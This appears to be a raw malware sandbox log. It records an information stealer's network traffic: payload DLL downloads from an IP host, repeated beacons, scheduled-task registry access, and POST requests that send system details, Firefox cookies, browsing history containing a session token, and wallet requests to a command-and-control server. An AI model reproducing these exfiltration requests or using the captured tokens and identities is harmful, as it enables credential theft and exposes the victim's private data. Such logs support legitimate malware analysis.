"3ef50-5e7e950876500" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /f059ec3d7eb90876/vcruntime140.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:36 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A.......90:Td2f,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003848-00000C25-42531424] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003848-00000C25-42731625] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003848-00000C25-42772667] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003848-00000C25-43058413] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003848-00000C25-43088243] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003848-00000C25-43175898] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003848-00000C25-43262840] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003848-00000C25-43291149] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003848-00000C25-43338549] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003848-00000C25-43348795] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00003848-00000C25-43360670] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003848-00000C25-43436441] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003848-00000C25-43518235] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00002956-00000C25-45647429] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00002956-00000C25-45681238] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00002956-00000C25-45694095] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00002956-00000C25-45729213] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00002956-00000C25-45741288] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00002956-00000C25-45753619] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003428-00000C25-54226827] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00000564-00000C25-50937334] Observed system executable string:"%WINDIR%\system32\EhStorShell.dll" [Source: 00000000-00000564-00000C25-53154280] Observed system executable string:"%WINDIR%\system32\imageres.dll" [Source: 00000000-00000564-00000C25-54095203] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00000564-00000C25-55808933] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00000564-00000C25-55859666]91:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")92:T47b,Found http requests in header "GET /cpa/ping.php?substr=nine&s=ab" Found http requests in header "GET /syncUpd.exe" Found http requests in header "POST /3886d2276f6914c4.php" Found http requests in header "GET /f059ec3d7eb90876/sqlite3.dll" Found http requests in header "GET /f059ec3d7eb90876/freebl3.dll" Found http requests in header "GET /f059ec3d7eb90876/mozglue.dll" Found http requests in header "GET /f059ec3d7eb90876/msvcp140.dll" Found http requests in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96" Found http requests in header "GET /f059ec3d7eb90876/nss3.dll" Found http requests in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c" Found http requests in header "GET /f059ec3d7eb90876/softokn3.dll" Found http requests in header "GET /f059ec3d7eb90876/vcruntime140.dll"93:Ta48a,Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="hwid"2039C540C46F1350827015------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="build"default6------AAKJKJDGCGDBGDHIJKJE--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="message"browsers------CBGCAFIIECBFIDHIJKFB--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"plugins------CBAKJKJJJECFIEBFHIEG--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZm8udHh0------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="file"Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogMjAzOUM1NDBDNDZGMTM1MDgyNzAxNQoJLSBPUzogV2luZG93cyA3IFByb2Zlc3Npb25hbAoJLSBBcmNoaXRlY3R1cmU6IHgzMgoJLSBVc2VyTmFtZTogSEFQVUJXUwoJLSBDb21wdXRlciBOYW1lOiBERVQtRkVZTlhJVUFNV1QKCS0gTG9jYWwgVGltZTogMjAyNC8xLzE1IDEyOjQ4OjEwCgktIFVUQzogMQoJLSBMYW5ndWFnZTogZW4tVVMKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgU3RhdGVzKQoJLSBMYXB0b3A6IEZBTFNFCgktIFJ1bm5pbmcgUGF0aDogQzpcVXNlcnNcSEFQVUJXU1xBcHBEYXRhXExvY2FsXFRlbXBcbnNiRUY1Ri50bXAKCS0gQ1BVOiBJbnRlbChSKSBDb3JlKFIpIEdvbGQgNjI0MFIgQ1BVIEAgMi40MEdIegoJLSBDb3JlczogMgoJLSBUaHJlYWRzOiA0CgktIFJBTTogMzA3MSBNQgoJLSBEaXNwbGF5IFJlc29sdXRpb246IDEyODB4MTAyNAoJLSBHUFU6CgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVJEUEREIENoYWluZWQgREQKCQktUkRQIEVuY29kZXIgTWlycm9yIERyaXZlcgoJCS1SRFAgUmVmbGVjdG9yIERpc3BsYXkgRHJpdmVyClVzZXIgQWdlbnRzOgpJbnN0YWxsZWQgQXBwczoKQWxsIFVzZXJzOgoJNy1aaXAgMTYuMDQgLSAxNi4wNAoJQWRvYmUgQUlSIC0gMjcuMC4wLjEyNAoJQWRvYmUgRmxhc2ggUGxheWVyIDI3IEFjdGl2ZVggLSAyNy4wLjAuMTg3CglBZG9iZSBTaG9ja3dhdmUgUGxheWVyIDEyLjMgLSAxMi4zLjEuMjAxCglBdXRvSXQgdjMuMy4xNC4yIC0gMy4zLjE0LjIKCUFWSSBmb3JtYXR0ZXIgdG9vbCB2ZXJzaW9uIDAuMS4xLjMgLSAwLjEuMS4zCglIYW5jb20gT2ZmaWNlIDIwMTAgU0UgLSA4LjUuNQoJTW96aWxsYSBGaXJlZm94IDU3LjAuMSAoeDg2IGVuLVVTKSAtIDU3LjAuMQoJTW96aWxsYSBNYWludGVuYW5jZSBTZXJ2aWNlIC0gNTcuMC4xCglNaWNyb3NvZnQgT2ZmaWNlIFByb2Zlc3Npb25hbCBQbHVzIDIwMTAgLSAxNC4wLjYwMjkuMTAwMAoJV2luUGNhcCA0LjEuMyAtIDQuMS4wLjI5ODAKQ3VycmVudCBVc2VyOgoJTWljcm9zb2Z0IE9uZURyaXZlIC0gMTcuMy40NjA0LjAxMjAKCVB5dGhvbiAzLjYuMyAoMzItYml0KSAtIDMuNi4zMTUwLjAKCVB5dGhvbiAzLjguMTAgKDMyLWJpdCkgLSAzLjguMTAxNTAuMAoKUHJvY2VzcyBMaXN0OgoJU3lzdGVtCglzbXNzLmV4ZQoJY3Nyc3MuZXhlCgl3aW5pbml0LmV4ZQoJY3Nyc3MuZXhlCgl3aW5sb2dvbi5leGUKCXNlcnZpY2VzLmV4ZQoJbHNhc3MuZXhlCglsc20uZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3Bvb2xzdi5leGUKCXN2Y2hvc3QuZXhlCgl0YXNraG9zdC5leGUKCWR3bS5leGUKCXN2Y2hvc3QuZXhlCglleHBsb3Jlci5leGUKCVZHQXV0aFNlcnZpY2UuZXhlCgl2bTNkc2VydmljZS5leGUKCXZtdG9vbHNkLmV4ZQoJdm0zZHNlcnZpY2UuZXhlCgl2bXRvb2xzZC5leGUKCXN2Y2hvc3QuZXhlCglXbWlQcnZTRS5leGUKCWRsbGhvc3QuZXhlCgltc2R0Yy5leGUKCVdtaVBydlNFLmV4ZQoJY29uaG9zdC5leGUKCWNvbmhvc3QuZXhlCglBdXRvSXQzLmV4ZQoJQXV0b0l0My5leGUKCUF1dG9JdDMuZXhlCglBdXRvSXQzLmV4ZQoJQXV0b0l0My5leGUKCUF1dG9JdDMuZXhlCglXbWlBcFNydi5leGUKCUluc3RhbGxTZXR1cDkuZXhlCglCcm9vbVNldHVwLmV4ZQoJdHVjNC5leGUKCXR1YzQudG1wCglUcnVzdGVkSW5zdGFsbGVyLmV4ZQoJbnNiRUY1Ri50bXAKCXRhc2tlbmcuZXhlCgl0YXNraG9zdC5leGUKCWF2aWZvcm1hdHRlcnRvb2wuZXhlCglkbGxob3N0LmV4ZQ==------KJJJJDHIDBGHIDHIDAFB--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="file_name"Y29va2llc1xNb3ppbGxhIEZpcmVmb3hfbWowd3R5aW4uZGVmYXVsdC0xNjkyNzkwODgzNDg3LnR4dA==------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="file"Lm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE2OTI4NzcyOTEJX2dpZAlHQTEuMi4xMTEzMTg4MTY5LjE2OTI3OTA4OTEKLm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE2OTI3OTA5NTEJX2dhdF9VQS0zNjExNjMyMS0xCTEKLm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE3NTU4NjI4OTEJX2dhCUdBMS4xLjE4Nzk0MzEwNTMuMTY5Mjc5MDg5MQp3d3cubW96aWxsYS5vcmcJVFJVRQkvCVRSVUUJMTY5Mjg3NzI5MQltb3otc3R1Yi1hdHRyaWJ1dGlvbi1jb2RlCWMyOTFjbU5sUFNodWIzUWdjMlYwS1NadFpXUnBkVzA5S0dScGNtVmpkQ2ttWTJGdGNHRnBaMjQ5S0c1dmRDQnpaWFFwSm1OdmJuUmxiblE5S0c1dmRDQnpaWFFwSm1WNGNHVnlhVzFsYm5ROUtHNXZkQ0J6WlhRcEpuWmhjbWxoZEdsdmJqMG9ibTkwSUhObGRDa21kV0U5Wm1seVpXWnZlQ1pqYkdsbGJuUmZhV1E5TVRnM09UUXpNVEExTXk0eE5qa3lOemt3T0RreEpuTmxjM05wYjI1ZmFXUTlOVGN4T0RJME5UUXdPQ1prYkhOdmRYSmpaVDF0YjNwdmNtYy4Kd3d3Lm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE2OTI4NzcyOTEJbW96LXN0dWItYXR0cmlidXRpb24tc2lnCWRlZGUxYzg3OTZjY2UyMWQ5M2EzMDExM2QyNGYwMDc1ZDZlMmQ0YWI1NmIyNWJkZTY3MDRjZTYxNzE1MWUyMjEKLm1vemlsbGEub3JnCVRSVUUJLwlUUlVFCTE3NTU4NjI5MTAJX2dhX01RNzc2N1FRUVcJR1MxLjEuMTY5Mjc5MDg5MS4xLjEuMTY5Mjc5MDkxMC4wLjAuMAo=------HDAKJDHIEBFIIDGDGDBA--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfbWowd3R5aW4uZGVmYXVsdC0xNjkyNzkwODgzNDg3LnR4dA==------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file"aHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvZmlyZWZveC9jZW50cmFsLwpodHRwczovL3N1cHBvcnQubW96aWxsYS5vcmcvZW4tVVMvcHJvZHVjdHMvZmlyZWZveApodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9maXJlZm94L2N1c3RvbWl6ZS8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvY29udHJpYnV0ZS8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvYWJvdXQvCnBsYWNlOnNvcnQ9OCZtYXhSZXN1bHRzPTEwCnBsYWNlOnR5cGU9NiZzb3J0PTE0Jm1heFJlc3VsdHM9MTAKaHR0cDovL2dvb2dsZS5jb20vCmh0dHBzOi8vY3Jvd2RzdHJpa2Uub2t0YS5jb20vbG9naW4vc2Vzc2lvbkNvb2tpZVJlZGlyZWN0P2NoZWNrQWNjb3VudFNldHVwQ29tcGxldGU9dHJ1ZSZ0b2tlbj0yMDExMVBxd1FuOXVKVDF3UWtoU2wyNlJMdFhwMDg5b3l0R0JwbDFOMEpkQ0I5N29CdFFVOXEzJnJlZGlyZWN0VXJsPWh0dHBzJTNBJTJGJTJGY3Jvd2RzdHJpa2Uub2t0YS5jb20lMkZhcHAlMkZvZmZpY2UzNjUlMkZleGs5bnRrdW82dU5JNUJHQzB4NyUyRnNzbyUyRndzZmVkJTJGcGFzc2l2ZSUzRmNsaWVudC1yZXF1ZXN0LWlkJTNEYzgxNTVlZDQtMjllNS00OGJmLThhYWMtMmI2ZjI3Y2M3YTgxJTI2d2ElM0R3c2lnbmluMS4wJTI2d3RyZWFsbSUzRHVybiUyNTNhZmVkZXJhdGlvbiUyNTNhTWljcm9zb2Z0T25saW5lJTI2d2N0eCUzRExvZ2luT3B0aW9ucyUyNTNEMyUyNTI2ZXN0c3JlZGlyZWN0JTI1M2QyJTI1MjZlc3RzcmVxdWVzdCUyNTNkclFJSUFaVlJQV2dUVVJ6UHk2WFh0QWdXVVJSY09pUVJqZmZ4N3ZzT0FyYVZ0TFpTVzkwY0dsN3UzalZuOHU0ZDc3MGtwRWhFUVJDbnpvNk93VUdjUkFkWDhRTTZPSFVTUVJDbjRPVG9WWEN5ZzhLZl9fRF9fLUQzZFVtQ0tnd3FsdS0zUFF1RkNqUU5xRmlHR3lzSVFWY3hIRGRFanVfYXJ1LXR5N1lPTGR0aXAtWVhQdTJjZWZ2MTRwdTF4OF9xOU1LSHZmc1RjTGtqUk1ZRFRVTlpwZzQ0ejdnNlNIZ2Y5YmpvUndsVlEwcTBGazkyVXh3bDZVc0FEZ0Q0QnNDa1dBazlhTnM0c2hURHg3WmllZTFZOFZDdXhHZzdzZUdHb1lzOGVGZzhlV09wTHpyRzBhSXMyY01faW5NeFphU1ZVUzZlU0s4Qnc2aEhHbVQwRjJtTjRhdzNhZ25hLUMyd2FpNVZqV1kteDBEejZ6Sk9jWnlJSE5ZY0NwV0VyU1NxbWxmcG1QQllqQWM4QjQxVE5LZ2FUb2hJaG5JM3gzeHJIZEV3YXlsTlE5ejRGM01UcWZJbk80SlN0SXNKVGtXdWgyRjFtS1FSSFhJMXhVSjdJY2s1QWFIcEYtazhRU3hVV1RMQWpGNEpHUjFHWExDa2k0OU1ISlRBOTlJSlhRcktaWGtCbkNzc0ZuNld3Tk9adkxQcTJlbkQ5ODhfTnhfY25YNjhOMXN1dkp2UkVGb3hzOVdOVzVwdklMeDlaMjJ6N210T2ZYdkw3bTVkSnpkMWdwZFhOdG0xOWRIR2FyZGhCWEJmQnZ1eVBKWEJvOW5DcTduX2F2eHdfclNoUTBfUlhRVzZpMUFQVEN2UW5kdV9BQTIlMjZjYmN4dCUzRCUyNnVzZXJuYW1lJTNEbWFyYy5yaXZlcm8lMjU0MGNyb3dkc3RyaWtlLmNvbSUyNm1rdCUzRCUyNmxjJTNECmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL2ZpcmVmb3gvbmV3Lz91dG1fc291cmNlPWZpcmVmb3gmdXRtX21lZGl1bT1zaG93LWhlYXJ0YmVhdCZ1dG1fY2FtcGFpZ249WW91ckZpcmVmb3hpc2NyaXRpY2FsbHlvdXRvZmRhdGUuQW51cGRhdGVpc3JlcXVpcmVkdG9zdGF5c2VjdXJlLiZzb3VyY2U9aGVhcnRiZWF0JnN1cnZleXZlcnNpb249NTYmdXBkYXRlQ2hhbm5lbD1yZWxlYXNlJmZ4VmVyc2lvbj01Ny4wLjEmaXNEZWZhdWx0QnJvd3Nlcj0wJnNlYXJjaEVuZ2luZT1nb29nbGUmc3luY1NldHVwPTAmdHlwZT1idXR0b24mZmxvd0lkPTM3YzU2NGEwLTIxZDgtNDgzNy1hMzk3LTRhMDRhMWViMDhiZApwbGFjZTp0eXBlPTMmc29ydD00CnBsYWNlOnRyYW5zaXRpb249NyZzb3J0PTQKcGxhY2U6dHlwZT02JnNvcnQ9MQpwbGFjZTpmb2xkZXI9VE9PTEJBUgpwbGFjZTpmb2xkZXI9Qk9PS01BUktTX01FTlUKcGxhY2U6Zm9sZGVyPVVORklMRURfQk9PS01BUktTCmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL2VuLVVTL2ZpcmVmb3gvNTcuMC4xL2ZpcnN0cnVuLwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9wcml2YWN5L2ZpcmVmb3gvCmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL2VuLVVTL3ByaXZhY3kvZmlyZWZveC8K------BFHJJJDAFBKEBGDGHCGD--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="message"wallets------IDGIJEGHDAECAKECAFCA--"; File: "PCAP") 